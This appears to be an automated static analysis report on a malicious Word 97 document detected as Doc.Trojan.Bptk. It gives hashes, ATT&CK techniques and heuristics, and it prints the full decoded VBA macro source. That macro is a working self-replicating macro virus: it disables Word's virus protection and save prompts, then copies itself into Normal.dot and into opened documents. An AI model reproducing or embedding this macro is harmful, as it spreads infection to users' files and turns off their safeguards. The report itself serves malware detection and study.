Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a10defd6db6f2f64…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-06-16 13:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 761fdb0407b7ecf86dd5cd724501c4b3 SHA-1: dbe44adc9c0073346fbbf62c58d844d861ddbc3e SHA-256: a10defd6db6f2f64280aa5f000a27fa5276a4949f3eadcec0690ae66fc380622
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The Document_Open macro is designed to copy its code into the Normal.dot template, which is a common technique for establishing persistence. The ClamAV detections further confirm its malicious nature. The specific intent of the macro is to modify the Normal.dot template, potentially to ensure execution on subsequent document openings or to facilitate the download of further malicious content.

Heuristics 3

  • ClamAV: Doc.Trojan.Bptk-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bptk-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 864 bytes
SHA-256: 134fa9c55a477b3d3b26fe0132c7843a77eb8d04c399f1dc39d65974c01826c0
Detection
ClamAV: Doc.Trojan.Bptk-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'D
'
On Error Resume Next
Application.EnableCancelKey = 0
With Options:
.ConfirmConversions = 0
.SaveNormalPrompt = 0
.VirusProtection = 0
End With
Set N = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Set A = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
If N.Lines(3, 1) <> "'" Then
N.DeleteLines 1, N.CountOfLines
N.AddFromstring A.Lines(1, A.CountOfLines)
NormalTemplate.Save
ElseIf A.Lines(3, 1) <> "'" Then
A.DeleteLines 1, A.CountOfLines
A.AddFromstring N.Lines(1, N.CountOfLines)
ActiveDocument.Save
MsgBox "ÁÏÒÊ"
End If
End Sub